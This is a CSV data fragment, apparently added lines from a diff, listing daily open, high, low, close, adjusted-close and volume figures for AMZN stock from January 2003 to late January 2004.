+2003-01-03,19.59000015258789,20.530000686645508,19.40999984741211,20.520000457763672,20.520000457763672,8757000,AMZN
+2003-01-06,20.399999618530273,21.170000076293945,20.299999237060547,20.700000762939453,20.700000762939453,7698100,AMZN
+2003-01-07,20.829999923706055,21.75,20.600000381469727,21.549999237060547,21.549999237060547,9568200,AMZN
+2003-01-08,21.440000534057617,21.600000381469727,20.81999969482422,21.020000457763672,21.020000457763672,6981500,AMZN
+2003-01-09,21.079999923706055,21.700000762939453,20.899999618530273,21.450000762939453,21.450000762939453,6154800,AMZN
+2003-01-10,20.959999084472656,21.65999984741211,20.809999465942383,21.31999969482422,21.31999969482422,7579300,AMZN
+2003-01-13,21.329999923706055,22.100000381469727,21.25,22.040000915527344,22.040000915527344,7121300,AMZN
+2003-01-14,21.850000381469727,22.760000228881836,21.65999984741211,22.739999771118164,22.739999771118164,7048800,AMZN
+2003-01-15,22.59000015258789,22.610000610351562,21.940000534057617,22.270000457763672,22.270000457763672,6989400,AMZN
+2003-01-16,21.690000534057617,22.100000381469727,21.450000762939453,21.799999237060547,21.799999237060547,7911600,AMZN
+2003-01-17,21.459999084472656,21.709999084472656,21.229999542236328,21.399999618530273,21.399999618530273,5786200,AMZN
+2003-01-21,21.25,21.610000610351562,20.360000610351562,21.079999923706055,21.079999923706055,6293100,AMZN
+2003-01-22,20.770000457763672,21.700000762939453,20.75,21.170000076293945,21.170000076293945,6683600,AMZN
+2003-01-23,21.540000915527344,22.040000915527344,21.149999618530273,21.790000915527344,21.790000915527344,10998000,AMZN
+2003-01-24,22.59000015258789,23.280000686645508,21.899999618530273,22.110000610351562,22.110000610351562,21681800,AMZN
+2003-01-27,21.68000030517578,22.3700008392334,21.639999389648438,21.780000686645508,21.780000686645508,8207000,AMZN
+2003-01-28,21.90999984741211,21.969999313354492,21.229999542236328,21.6200008392334,21.6200008392334,7968400,AMZN
+2003-01-29,21.549999237060547,22.350000381469727,21.399999618530273,22.079999923706055,22.079999923706055,7056900,AMZN
+2003-01-30,22.200000762939453,22.399999618530273,21.729999542236328,21.81999969482422,21.81999969482422,5965700,AMZN
+2003-01-31,21.639999389648438,22.270000457763672,21.559999465942383,21.850000381469727,21.850000381469727,6262500,AMZN
+2003-02-03,21.940000534057617,22.440000534057617,21.81999969482422,22.15999984741211,22.15999984741211,5195500,AMZN
+2003-02-04,21.940000534057617,22.139999389648438,21.56999969482422,22.049999237060547,22.049999237060547,4817600,AMZN
+2003-02-05,22.18000030517578,22.5,22.030000686645508,22.170000076293945,22.170000076293945,5343100,AMZN
+2003-02-06,22.15999984741211,22.479999542236328,21.93000030517578,22.09000015258789,22.09000015258789,4037700,AMZN
+2003-02-07,22.100000381469727,22.110000610351562,21.200000762939453,21.440000534057617,21.440000534057617,6942900,AMZN
+2003-02-10,21.399999618530273,21.40999984741211,20.56999969482422,21.399999618530273,21.399999618530273,8096500,AMZN
+2003-02-11,21.559999465942383,21.600000381469727,20.690000534057617,20.780000686645508,20.780000686645508,6679000,AMZN
+2003-02-12,20.790000915527344,21.200000762939453,20.65999984741211,21.1299991607666,21.1299991607666,5433900,AMZN
+2003-02-13,20.950000762939453,21.0,19.610000610351562,20.059999465942383,20.059999465942383,11576800,AMZN
+2003-02-14,19.989999771118164,20.229999542236328,19.709999084472656,20.059999465942383,20.059999465942383,6625300,AMZN
+2003-02-18,20.149999618530273,21.40999984741211,20.149999618530273,21.389999389648438,21.389999389648438,7899900,AMZN
+2003-02-19,21.149999618530273,21.25,21.020000457763672,21.190000534057617,21.190000534057617,5470800,AMZN
+2003-02-20,21.190000534057617,21.5,21.09000015258789,21.360000610351562,21.360000610351562,4169800,AMZN
+2003-02-21,21.350000381469727,21.829999923706055,21.040000915527344,21.780000686645508,21.780000686645508,7207800,AMZN
+2003-02-24,21.639999389648438,22.18000030517578,21.639999389648438,21.780000686645508,21.780000686645508,6936600,AMZN
+2003-02-25,21.5,22.0,21.399999618530273,21.8799991607666,21.8799991607666,5624000,AMZN
+2003-02-26,21.6299991607666,21.979999542236328,21.6200008392334,21.639999389648438,21.639999389648438,4121300,AMZN
+2003-02-27,21.65999984741211,21.770000457763672,20.25,21.6200008392334,21.6200008392334,5076300,AMZN
+2003-02-28,21.56999969482422,22.020000457763672,21.43000030517578,22.010000228881836,22.010000228881836,4687100,AMZN
+2003-03-03,22.149999618530273,22.610000610351562,21.739999771118164,21.809999465942383,21.809999465942383,4480300,AMZN
+2003-03-04,21.700000762939453,22.350000381469727,21.360000610351562,22.270000457763672,22.270000457763672,5434300,AMZN
+2003-03-05,22.079999923706055,22.6200008392334,22.020000457763672,22.420000076293945,22.420000076293945,5160400,AMZN
+2003-03-06,22.31999969482422,22.850000381469727,22.1200008392334,22.690000534057617,22.690000534057617,5427400,AMZN
+2003-03-07,22.31999969482422,23.040000915527344,22.260000228881836,22.969999313354492,22.969999313354492,5848400,AMZN
+2003-03-10,22.600000381469727,22.959999084472656,22.549999237060547,22.8799991607666,22.8799991607666,4406000,AMZN
+2003-03-11,22.75,22.920000076293945,22.510000228881836,22.780000686645508,22.780000686645508,4034100,AMZN
+2003-03-12,22.510000228881836,23.3799991607666,22.489999771118164,23.360000610351562,23.360000610351562,5573100,AMZN
+2003-03-13,23.68000030517578,24.59000015258789,23.1299991607666,24.420000076293945,24.420000076293945,11208900,AMZN
+2003-03-14,24.540000915527344,24.899999618530273,24.200000762939453,24.709999084472656,24.709999084472656,8907800,AMZN
+2003-03-17,24.469999313354492,26.84000015258789,24.399999618530273,26.549999237060547,26.549999237060547,15124900,AMZN
+2003-03-18,26.459999084472656,26.84000015258789,26.100000381469727,26.780000686645508,26.780000686645508,8749800,AMZN
+2003-03-19,26.329999923706055,26.690000534057617,26.15999984741211,26.540000915527344,26.540000915527344,8481000,AMZN
+2003-03-20,26.34000015258789,27.6299991607666,26.1299991607666,27.450000762939453,27.450000762939453,9376200,AMZN
+2003-03-21,27.709999084472656,27.950000762939453,27.040000915527344,27.93000030517578,27.93000030517578,10657700,AMZN
+2003-03-24,27.079999923706055,27.260000228881836,26.200000762939453,26.229999542236328,26.229999542236328,10340500,AMZN
+2003-03-25,26.25,27.09000015258789,26.209999084472656,26.899999618530273,26.899999618530273,7213200,AMZN
+2003-03-26,26.8799991607666,27.8700008392334,26.709999084472656,27.760000228881836,27.760000228881836,7375700,AMZN
+2003-03-27,27.59000015258789,28.040000915527344,27.450000762939453,27.770000457763672,27.770000457763672,10642100,AMZN
+2003-03-28,27.59000015258789,27.950000762939453,27.100000381469727,27.18000030517578,27.18000030517578,6437000,AMZN
+2003-03-31,26.56999969482422,26.739999771118164,25.959999084472656,26.030000686645508,26.030000686645508,9214800,AMZN
+2003-04-01,25.549999237060547,25.59000015258789,25.059999465942383,25.540000915527344,25.540000915527344,9774000,AMZN
+2003-04-02,25.979999542236328,26.479999542236328,25.84000015258789,26.3799991607666,26.3799991607666,6623000,AMZN
+2003-04-03,26.510000228881836,27.09000015258789,26.020000457763672,26.649999618530273,26.649999618530273,7324400,AMZN
+2003-04-04,26.709999084472656,26.829999923706055,25.950000762939453,26.219999313354492,26.219999313354492,6072800,AMZN
+2003-04-07,27.209999084472656,27.559999465942383,26.75,26.81999969482422,26.81999969482422,7230400,AMZN
+2003-04-08,26.790000915527344,26.799999237060547,26.450000762939453,26.520000457763672,26.520000457763672,5403600,AMZN
+2003-04-09,26.350000381469727,26.3700008392334,24.84000015258789,25.059999465942383,25.059999465942383,11958900,AMZN
+2003-04-10,25.43000030517578,25.940000534057617,24.780000686645508,25.670000076293945,25.670000076293945,9311200,AMZN
+2003-04-11,25.850000381469727,26.239999771118164,25.420000076293945,25.75,25.75,6899000,AMZN
+2003-04-14,24.799999237060547,25.149999618530273,24.5,25.049999237060547,25.049999237060547,10417100,AMZN
+2003-04-15,24.889999389648438,25.43000030517578,24.81999969482422,25.1299991607666,25.1299991607666,6341400,AMZN
+2003-04-16,25.299999237060547,25.5,24.1299991607666,24.3799991607666,24.3799991607666,9294500,AMZN
+2003-04-17,24.469999313354492,25.010000228881836,24.350000381469727,24.989999771118164,24.989999771118164,6789900,AMZN
+2003-04-21,25.030000686645508,26.170000076293945,24.899999618530273,25.25,25.25,7132300,AMZN
+2003-04-22,25.09000015258789,25.690000534057617,24.81999969482422,25.579999923706055,25.579999923706055,6868600,AMZN
+2003-04-23,26.399999618530273,26.549999237060547,25.360000610351562,25.43000030517578,25.43000030517578,8850100,AMZN
+2003-04-24,25.399999618530273,26.719999313354492,24.770000457763672,25.1200008392334,25.1200008392334,17603300,AMZN
+2003-04-25,28.0,29.0,27.81999969482422,28.969999313354492,28.969999313354492,39972400,AMZN
+2003-04-28,28.639999389648438,29.190000534057617,28.600000381469727,29.110000610351562,29.110000610351562,15801000,AMZN
+2003-04-29,28.90999984741211,29.040000915527344,28.610000610351562,28.889999389648438,28.889999389648438,10526400,AMZN
+2003-04-30,28.600000381469727,29.0,28.3799991607666,28.690000534057617,28.690000534057617,9450000,AMZN
+2003-05-01,28.68000030517578,28.700000762939453,28.149999618530273,28.65999984741211,28.65999984741211,7689200,AMZN
+2003-05-02,28.6299991607666,29.450000762939453,28.549999237060547,29.43000030517578,29.43000030517578,9884400,AMZN
+2003-05-05,29.469999313354492,30.049999237060547,29.010000228881836,29.959999084472656,29.959999084472656,11136300,AMZN
+2003-05-06,29.8700008392334,31.18000030517578,29.799999237060547,30.8799991607666,30.8799991607666,13962400,AMZN
+2003-05-07,30.65999984741211,30.860000610351562,30.030000686645508,30.700000762939453,30.700000762939453,10351800,AMZN
+2003-05-08,30.360000610351562,30.760000228881836,30.219999313354492,30.450000762939453,30.450000762939453,8513500,AMZN
+2003-05-09,30.459999084472656,30.989999771118164,30.200000762939453,30.959999084472656,30.959999084472656,5981700,AMZN
+2003-05-12,30.829999923706055,31.799999237060547,30.670000076293945,31.700000762939453,31.700000762939453,7246900,AMZN
+2003-05-13,31.549999237060547,33.4900016784668,31.440000534057617,32.95000076293945,32.95000076293945,15844500,AMZN
+2003-05-14,33.13999938964844,33.189998626708984,32.439998626708984,32.599998474121094,32.599998474121094,7993200,AMZN
+2003-05-15,32.63999938964844,32.75,32.20000076293945,32.630001068115234,32.630001068115234,5192300,AMZN
+2003-05-16,32.5099983215332,33.15999984741211,32.380001068115234,33.04999923706055,33.04999923706055,7644100,AMZN
+2003-05-19,32.70000076293945,32.970001220703125,31.399999618530273,31.559999465942383,31.559999465942383,9763500,AMZN
+2003-05-20,31.559999465942383,32.130001068115234,31.170000076293945,31.479999542236328,31.479999542236328,8066200,AMZN
+2003-05-21,31.34000015258789,31.84000015258789,31.15999984741211,31.75,31.75,5200300,AMZN
+2003-05-22,31.75,33.290000915527344,31.290000915527344,33.0,33.0,8489900,AMZN
+2003-05-23,33.029998779296875,33.04999923706055,32.470001220703125,32.720001220703125,32.720001220703125,7063200,AMZN
+2003-05-27,32.54999923706055,35.029998779296875,32.45000076293945,34.849998474121094,34.849998474121094,12225400,AMZN
+2003-05-28,34.880001068115234,35.72999954223633,34.650001525878906,34.86000061035156,34.86000061035156,9053100,AMZN
+2003-05-29,34.88999938964844,35.970001220703125,34.70000076293945,35.54999923706055,35.54999923706055,9341600,AMZN
+2003-05-30,35.61000061035156,36.09000015258789,35.0,35.88999938964844,35.88999938964844,10190300,AMZN
+2003-06-02,36.5,36.68000030517578,35.349998474121094,35.400001525878906,35.400001525878906,9552700,AMZN
+2003-06-03,34.709999084472656,35.310001373291016,34.68000030517578,35.22999954223633,35.22999954223633,10095900,AMZN
+2003-06-04,35.0,35.599998474121094,34.70000076293945,35.38999938964844,35.38999938964844,9333400,AMZN
+2003-06-05,35.15999984741211,35.84000015258789,34.61000061035156,35.52000045776367,35.52000045776367,7193700,AMZN
+2003-06-06,36.040000915527344,36.2599983215332,33.25,33.349998474121094,33.349998474121094,11380900,AMZN
+2003-06-09,34.470001220703125,34.470001220703125,33.08000183105469,33.68000030517578,33.68000030517578,8438400,AMZN
+2003-06-10,34.02000045776367,34.380001068115234,32.83000183105469,34.06999969482422,34.06999969482422,9663600,AMZN
+2003-06-11,33.970001220703125,34.810001373291016,33.599998474121094,34.650001525878906,34.650001525878906,7746400,AMZN
+2003-06-12,35.29999923706055,35.400001525878906,34.709999084472656,35.20000076293945,35.20000076293945,7032500,AMZN
+2003-06-13,35.400001525878906,35.45000076293945,34.04999923706055,34.130001068115234,34.130001068115234,6011800,AMZN
+2003-06-16,34.56999969482422,35.849998474121094,34.08000183105469,35.84000015258789,35.84000015258789,7127900,AMZN
+2003-06-17,35.93000030517578,36.369998931884766,35.25,35.84000015258789,35.84000015258789,8249900,AMZN
+2003-06-18,35.5,37.2400016784668,35.349998474121094,35.849998474121094,35.849998474121094,11206800,AMZN
+2003-06-19,35.79999923706055,36.75,35.380001068115234,35.5,35.5,5988100,AMZN
+2003-06-20,35.79999923706055,35.880001068115234,34.84000015258789,35.040000915527344,35.040000915527344,7012500,AMZN
+2003-06-23,35.47999954223633,35.86000061035156,35.029998779296875,35.58000183105469,35.58000183105469,8407300,AMZN
+2003-06-24,35.369998931884766,35.81999969482422,34.540000915527344,35.400001525878906,35.400001525878906,8177200,AMZN
+2003-06-25,35.29999923706055,36.130001068115234,35.150001525878906,35.38999938964844,35.38999938964844,6659000,AMZN
+2003-06-26,35.209999084472656,36.84000015258789,35.060001373291016,36.720001220703125,36.720001220703125,10292400,AMZN
+2003-06-27,36.689998626708984,37.09000015258789,36.18000030517578,36.29999923706055,36.29999923706055,6756500,AMZN
+2003-06-30,36.630001068115234,36.81999969482422,36.02000045776367,36.31999969482422,36.31999969482422,5143900,AMZN
+2003-07-01,36.33000183105469,37.290000915527344,35.70000076293945,37.25,37.25,7242800,AMZN
+2003-07-02,37.599998474121094,37.88999938964844,37.13999938964844,37.849998474121094,37.849998474121094,6086100,AMZN
+2003-07-03,37.02000045776367,38.15999984741211,37.02000045776367,37.91999816894531,37.91999816894531,3846000,AMZN
+2003-07-07,38.29999923706055,39.099998474121094,37.95000076293945,39.04999923706055,39.04999923706055,6697300,AMZN
+2003-07-08,38.7599983215332,40.83000183105469,38.75,40.5099983215332,40.5099983215332,12145400,AMZN
+2003-07-09,40.540000915527344,40.72999954223633,39.869998931884766,40.5,40.5,7832200,AMZN
+2003-07-10,39.119998931884766,39.5,38.20000076293945,38.25,38.25,8825600,AMZN
+2003-07-11,38.29999923706055,38.29999923706055,37.099998474121094,37.650001525878906,37.650001525878906,11559900,AMZN
+2003-07-14,38.5,39.61000061035156,38.2400016784668,39.27000045776367,39.27000045776367,8690300,AMZN
+2003-07-15,39.61000061035156,39.61000061035156,37.619998931884766,38.43000030517578,38.43000030517578,5851500,AMZN
+2003-07-16,38.52000045776367,38.52000045776367,37.31999969482422,37.68000030517578,37.68000030517578,5625600,AMZN
+2003-07-17,37.150001525878906,37.29999923706055,36.040000915527344,36.31999969482422,36.31999969482422,7642000,AMZN
+2003-07-18,36.31999969482422,36.849998474121094,34.790000915527344,34.97999954223633,34.97999954223633,13402900,AMZN
+2003-07-21,34.709999084472656,36.0,34.599998474121094,35.33000183105469,35.33000183105469,9825700,AMZN
+2003-07-22,35.70000076293945,36.0,34.0,34.869998931884766,34.869998931884766,15896800,AMZN
+2003-07-23,37.75,40.25,37.349998474121094,40.11000061035156,40.11000061035156,32178100,AMZN
+2003-07-24,41.04999923706055,43.099998474121094,40.58000183105469,41.310001373291016,41.310001373291016,23828000,AMZN
+2003-07-25,40.7400016784668,41.650001525878906,39.75,41.599998474121094,41.599998474121094,10647600,AMZN
+2003-07-28,41.4900016784668,42.18000030517578,40.869998931884766,42.08000183105469,42.08000183105469,7453200,AMZN
+2003-07-29,41.9900016784668,42.5,41.060001373291016,41.38999938964844,41.38999938964844,7825500,AMZN
+2003-07-30,41.150001525878906,41.27000045776367,40.45000076293945,40.65999984741211,40.65999984741211,7166300,AMZN
+2003-07-31,41.349998474121094,41.970001220703125,40.66999816894531,41.63999938964844,41.63999938964844,8970700,AMZN
+2003-08-01,41.40999984741211,41.630001068115234,39.779998779296875,40.029998779296875,40.029998779296875,8805200,AMZN
+2003-08-04,39.70000076293945,40.290000915527344,38.95000076293945,39.650001525878906,39.650001525878906,7054400,AMZN
+2003-08-05,39.2400016784668,39.849998474121094,38.630001068115234,38.66999816894531,38.66999816894531,6816200,AMZN
+2003-08-06,38.619998931884766,39.95000076293945,38.279998779296875,38.939998626708984,38.939998626708984,9192600,AMZN
+2003-08-07,39.0,39.34000015258789,38.59000015258789,39.0099983215332,39.0099983215332,6395500,AMZN
+2003-08-08,39.130001068115234,39.400001525878906,38.630001068115234,39.150001525878906,39.150001525878906,4810900,AMZN
+2003-08-11,38.9900016784668,39.040000915527344,38.349998474121094,38.93000030517578,38.93000030517578,5239100,AMZN
+2003-08-12,38.95000076293945,39.959999084472656,38.310001373291016,39.849998474121094,39.849998474121094,6128500,AMZN
+2003-08-13,40.25,40.470001220703125,39.709999084472656,40.209999084472656,40.209999084472656,7154500,AMZN
+2003-08-14,39.91999816894531,40.369998931884766,39.650001525878906,40.29999923706055,40.29999923706055,4850300,AMZN
+2003-08-15,40.22999954223633,40.380001068115234,39.970001220703125,40.099998474121094,40.099998474121094,2486500,AMZN
+2003-08-18,40.47999954223633,43.2400016784668,40.380001068115234,43.02000045776367,43.02000045776367,11174200,AMZN
+2003-08-19,43.45000076293945,44.189998626708984,42.91999816894531,43.56999969482422,43.56999969482422,10489300,AMZN
+2003-08-20,43.060001373291016,43.939998626708984,43.0099983215332,43.7599983215332,43.7599983215332,6724700,AMZN
+2003-08-21,44.220001220703125,45.90999984741211,43.869998931884766,45.70000076293945,45.70000076293945,11592500,AMZN
+2003-08-22,46.36000061035156,46.95000076293945,44.810001373291016,45.220001220703125,45.220001220703125,10473300,AMZN
+2003-08-25,44.849998474121094,46.15999984741211,44.529998779296875,45.849998474121094,45.849998474121094,7103500,AMZN
+2003-08-26,45.650001525878906,46.13999938964844,45.11000061035156,45.93000030517578,45.93000030517578,6542400,AMZN
+2003-08-27,45.77000045776367,46.06999969482422,45.2599983215332,45.880001068115234,45.880001068115234,4539400,AMZN
+2003-08-28,45.939998626708984,46.0,44.810001373291016,45.939998626708984,45.939998626708984,6987500,AMZN
+2003-08-29,45.81999969482422,46.439998626708984,45.720001220703125,46.31999969482422,46.31999969482422,6158400,AMZN
+2003-09-02,46.52000045776367,47.45000076293945,46.0099983215332,47.33000183105469,47.33000183105469,9459400,AMZN
+2003-09-03,47.58000183105469,47.75,45.86000061035156,46.189998626708984,46.189998626708984,10697900,AMZN
+2003-09-04,46.20000076293945,47.38999938964844,46.040000915527344,47.290000915527344,47.290000915527344,10255000,AMZN
+2003-09-05,46.95000076293945,47.47999954223633,46.099998474121094,46.52000045776367,46.52000045776367,8102900,AMZN
+2003-09-08,46.5,47.349998474121094,46.060001373291016,47.279998779296875,47.279998779296875,7408200,AMZN
+2003-09-09,47.099998474121094,47.380001068115234,46.29999923706055,46.68000030517578,46.68000030517578,8100800,AMZN
+2003-09-10,46.2599983215332,47.22999954223633,46.060001373291016,46.220001220703125,46.220001220703125,8002900,AMZN
+2003-09-11,46.20000076293945,46.349998474121094,44.77000045776367,45.189998626708984,45.189998626708984,11613100,AMZN
+2003-09-12,44.849998474121094,45.779998779296875,44.72999954223633,45.68000030517578,45.68000030517578,6750100,AMZN
+2003-09-15,45.36000061035156,45.77000045776367,45.22999954223633,45.5099983215332,45.5099983215332,4427000,AMZN
+2003-09-16,45.400001525878906,46.25,45.04999923706055,46.2400016784668,46.2400016784668,7755200,AMZN
+2003-09-17,46.209999084472656,46.86000061035156,45.540000915527344,46.15999984741211,46.15999984741211,7334100,AMZN
+2003-09-18,46.15999984741211,48.2400016784668,45.939998626708984,47.88999938964844,47.88999938964844,9038500,AMZN
+2003-09-19,47.869998931884766,47.970001220703125,47.349998474121094,47.58000183105469,47.58000183105469,6249500,AMZN
+2003-09-22,46.560001373291016,47.529998779296875,46.20000076293945,47.470001220703125,47.470001220703125,9240000,AMZN
+2003-09-23,47.40999984741211,50.91999816894531,47.349998474121094,50.439998626708984,50.439998626708984,20295900,AMZN
+2003-09-24,50.349998474121094,51.29999923706055,49.599998474121094,49.61000061035156,49.61000061035156,15330200,AMZN
+2003-09-25,49.65999984741211,50.95000076293945,49.279998779296875,50.04999923706055,50.04999923706055,11033300,AMZN
+2003-09-26,49.900001525878906,50.459999084472656,48.29999923706055,48.560001373291016,48.560001373291016,13438500,AMZN
+2003-09-29,48.880001068115234,49.970001220703125,48.400001525878906,49.86000061035156,49.86000061035156,9039300,AMZN
+2003-09-30,49.650001525878906,49.7599983215332,48.349998474121094,48.43000030517578,48.43000030517578,9264600,AMZN
+2003-10-01,48.369998931884766,49.279998779296875,47.5099983215332,49.119998931884766,49.119998931884766,12563800,AMZN
+2003-10-02,48.939998626708984,50.20000076293945,48.68000030517578,50.09000015258789,50.09000015258789,8219900,AMZN
+2003-10-03,51.130001068115234,53.220001220703125,51.029998779296875,52.88999938964844,52.88999938964844,14175600,AMZN
+2003-10-06,52.88999938964844,54.2400016784668,52.59000015258789,54.150001525878906,54.150001525878906,7773100,AMZN
+2003-10-07,54.0,56.25,53.95000076293945,54.90999984741211,54.90999984741211,20299900,AMZN
+2003-10-08,55.439998626708984,56.279998779296875,55.119998931884766,55.70000076293945,55.70000076293945,13558000,AMZN
+2003-10-09,57.40999984741211,59.099998474121094,57.400001525878906,57.86000061035156,57.86000061035156,21606900,AMZN
+2003-10-10,57.70000076293945,58.33000183105469,57.439998626708984,58.060001373291016,58.060001373291016,11435400,AMZN
+2003-10-13,57.939998626708984,58.689998626708984,57.439998626708984,58.29999923706055,58.29999923706055,8329000,AMZN
+2003-10-14,58.099998474121094,59.97999954223633,57.79999923706055,59.90999984741211,59.90999984741211,9986600,AMZN
+2003-10-15,60.38999938964844,60.40999984741211,58.43000030517578,58.54999923706055,58.54999923706055,10228900,AMZN
+2003-10-16,58.15999984741211,59.90999984741211,58.09000015258789,59.90999984741211,59.90999984741211,10211100,AMZN
+2003-10-17,59.29999923706055,59.900001525878906,58.650001525878906,59.689998626708984,59.689998626708984,11932900,AMZN
+2003-10-20,59.560001373291016,60.2400016784668,58.91999816894531,59.59000015258789,59.59000015258789,11086100,AMZN
+2003-10-21,59.72999954223633,61.150001525878906,59.0099983215332,59.349998474121094,59.349998474121094,17114900,AMZN
+2003-10-22,56.04999923706055,56.150001525878906,53.72999954223633,54.029998779296875,54.029998779296875,32701900,AMZN
+2003-10-23,52.97999954223633,54.52000045776367,52.90999984741211,54.31999969482422,54.31999969482422,14611700,AMZN
+2003-10-24,54.54999923706055,54.939998626708984,53.0,54.5099983215332,54.5099983215332,10438200,AMZN
+2003-10-27,54.900001525878906,55.25,54.5,54.81999969482422,54.81999969482422,6391900,AMZN
+2003-10-28,55.189998626708984,56.900001525878906,54.54999923706055,56.72999954223633,56.72999954223633,9230900,AMZN
+2003-10-29,56.650001525878906,57.150001525878906,56.0,56.689998626708984,56.689998626708984,8776500,AMZN
+2003-10-30,57.400001525878906,57.52000045776367,55.56999969482422,55.83000183105469,55.83000183105469,9825400,AMZN
+2003-10-31,55.900001525878906,56.130001068115234,54.380001068115234,54.43000030517578,54.43000030517578,7726700,AMZN
+2003-11-03,54.79999923706055,56.79999923706055,54.310001373291016,56.7400016784668,56.7400016784668,9131100,AMZN
+2003-11-04,56.70000076293945,57.4900016784668,56.060001373291016,56.86000061035156,56.86000061035156,7009500,AMZN
+2003-11-05,56.130001068115234,56.9900016784668,56.08000183105469,56.7400016784668,56.7400016784668,5307400,AMZN
+2003-11-06,56.810001373291016,56.869998931884766,54.75,54.9900016784668,54.9900016784668,8791800,AMZN
+2003-11-07,55.61000061035156,55.70000076293945,54.0,54.310001373291016,54.310001373291016,8500400,AMZN
+2003-11-10,53.95000076293945,54.0,51.7400016784668,51.97999954223633,51.97999954223633,9120500,AMZN
+2003-11-11,51.84000015258789,52.75,50.7599983215332,52.22999954223633,52.22999954223633,10920100,AMZN
+2003-11-12,52.56999969482422,54.290000915527344,52.11000061035156,54.130001068115234,54.130001068115234,9259300,AMZN
+2003-11-13,54.040000915527344,55.130001068115234,53.56999969482422,54.79999923706055,54.79999923706055,7073000,AMZN
+2003-11-14,54.43000030517578,54.779998779296875,52.209999084472656,52.45000076293945,52.45000076293945,8365300,AMZN
+2003-11-17,51.91999816894531,52.189998626708984,49.58000183105469,50.36000061035156,50.36000061035156,12996900,AMZN
+2003-11-18,50.72999954223633,50.97999954223633,48.45000076293945,48.5,48.5,12600200,AMZN
+2003-11-19,48.709999084472656,49.849998474121094,47.66999816894531,49.529998779296875,49.529998779296875,14079000,AMZN
+2003-11-20,49.099998474121094,50.459999084472656,48.34000015258789,48.849998474121094,48.849998474121094,12337600,AMZN
+2003-11-21,49.0,49.20000076293945,47.7599983215332,48.58000183105469,48.58000183105469,9193400,AMZN
+2003-11-24,49.279998779296875,51.45000076293945,48.650001525878906,51.33000183105469,51.33000183105469,10631500,AMZN
+2003-11-25,51.349998474121094,53.29999923706055,51.25,52.470001220703125,52.470001220703125,13771300,AMZN
+2003-11-26,52.83000183105469,53.540000915527344,51.869998931884766,52.959999084472656,52.959999084472656,8907700,AMZN
+2003-11-28,52.84000015258789,54.060001373291016,52.83000183105469,53.970001220703125,53.970001220703125,3983000,AMZN
+2003-12-01,54.400001525878906,54.75,53.04999923706055,54.650001525878906,54.650001525878906,11522800,AMZN
+2003-12-02,54.5,54.75,53.849998474121094,53.93000030517578,53.93000030517578,6237900,AMZN
+2003-12-03,54.099998474121094,54.25,51.36000061035156,51.5099983215332,51.5099983215332,11570800,AMZN
+2003-12-04,51.45000076293945,52.43000030517578,50.75,51.79999923706055,51.79999923706055,10216200,AMZN
+2003-12-05,51.20000076293945,52.70000076293945,51.20000076293945,51.560001373291016,51.560001373291016,7501500,AMZN
+2003-12-08,51.54999923706055,52.20000076293945,50.119998931884766,51.08000183105469,51.08000183105469,8376400,AMZN
+2003-12-09,51.16999816894531,51.650001525878906,49.29999923706055,49.34000015258789,49.34000015258789,10460500,AMZN
+2003-12-10,49.45000076293945,50.16999816894531,48.310001373291016,49.20000076293945,49.20000076293945,9254600,AMZN
+2003-12-11,49.2599983215332,51.150001525878906,49.189998626708984,50.79999923706055,50.79999923706055,9405500,AMZN
+2003-12-12,50.9900016784668,51.310001373291016,49.91999816894531,50.9900016784668,50.9900016784668,6190600,AMZN
+2003-12-15,52.04999923706055,52.25,50.04999923706055,50.40999984741211,50.40999984741211,9676800,AMZN
+2003-12-16,49.599998474121094,49.79999923706055,48.630001068115234,49.5,49.5,10549800,AMZN
+2003-12-17,49.470001220703125,49.61000061035156,47.0,47.58000183105469,47.58000183105469,13856800,AMZN
+2003-12-18,47.61000061035156,48.88999938964844,47.45000076293945,48.75,48.75,10750700,AMZN
+2003-12-19,48.79999923706055,49.40999984741211,48.2599983215332,49.2400016784668,49.2400016784668,8045900,AMZN
+2003-12-22,48.97999954223633,50.099998474121094,48.70000076293945,49.88999938964844,49.88999938964844,7799700,AMZN
+2003-12-23,50.02000045776367,52.619998931884766,49.77000045776367,52.47999954223633,52.47999954223633,11004000,AMZN
+2003-12-24,52.29999923706055,53.880001068115234,52.150001525878906,53.31999969482422,53.31999969482422,5659800,AMZN
+2003-12-26,54.13999938964844,54.939998626708984,53.13999938964844,53.470001220703125,53.470001220703125,7078400,AMZN
+2003-12-29,53.790000915527344,53.84000015258789,52.130001068115234,53.470001220703125,53.470001220703125,8056900,AMZN
+2003-12-30,53.18000030517578,53.5,52.599998474121094,52.83000183105469,52.83000183105469,5152400,AMZN
+2003-12-31,52.81999969482422,53.47999954223633,52.400001525878906,52.619998931884766,52.619998931884766,5307200,AMZN
+2004-01-02,52.7599983215332,53.130001068115234,51.43000030517578,51.900001525878906,51.900001525878906,6639900,AMZN
+2004-01-05,52.0,53.599998474121094,51.369998931884766,53.27000045776367,53.27000045776367,11284100,AMZN
+2004-01-06,53.11000061035156,53.5,52.7400016784668,53.029998779296875,53.029998779296875,5985500,AMZN
+2004-01-07,52.18000030517578,52.65999984741211,50.939998626708984,51.900001525878906,51.900001525878906,9242700,AMZN
+2004-01-08,52.09000015258789,52.099998474121094,50.029998779296875,50.2400016784668,50.2400016784668,10320300,AMZN
+2004-01-09,49.77000045776367,52.150001525878906,49.099998474121094,51.59000015258789,51.59000015258789,12779200,AMZN
+2004-01-12,51.61000061035156,53.029998779296875,50.79999923706055,52.95000076293945,52.95000076293945,9450900,AMZN
+2004-01-13,52.66999816894531,54.9900016784668,52.40999984741211,54.90999984741211,54.90999984741211,14522300,AMZN
+2004-01-14,54.619998931884766,55.9900016784668,54.150001525878906,55.79999923706055,55.79999923706055,11134100,AMZN
+2004-01-15,54.72999954223633,56.779998779296875,54.619998931884766,56.18000030517578,56.18000030517578,12217300,AMZN
+2004-01-16,56.27000045776367,56.369998931884766,55.27000045776367,55.720001220703125,55.720001220703125,9114200,AMZN
+2004-01-20,55.56999969482422,56.84000015258789,55.40999984741211,56.61000061035156,56.61000061035156,7748400,AMZN
+2004-01-21,56.15999984741211,56.939998626708984,55.63999938964844,56.20000076293945,56.20000076293945,6783600,AMZN
+2004-01-22,56.810001373291016,57.81999969482422,56.2400016784668,57.18000030517578,57.18000030517578,10672200,AMZN
+2004-01-23,57.099998474121094,57.61000061035156,56.619998931884766,57.11000061035156,57.11000061035156,6039000,AMZN
+2004-01-26,56.79999923706055,57.20000076293945,56.29999923706055,57.029998779296875,57.029998779296875,5566000,AMZN
+2004-01-27,56.72999954223633,57.7400016784668,55.65999984741211,55.7400016784668,55.7400016784668,12964100,AMZN
+2004-01-28,53.63999938964844,54.45000076293945,51.619998931884766,51.959999084472656,51.959999084472656,21581300,AMZN
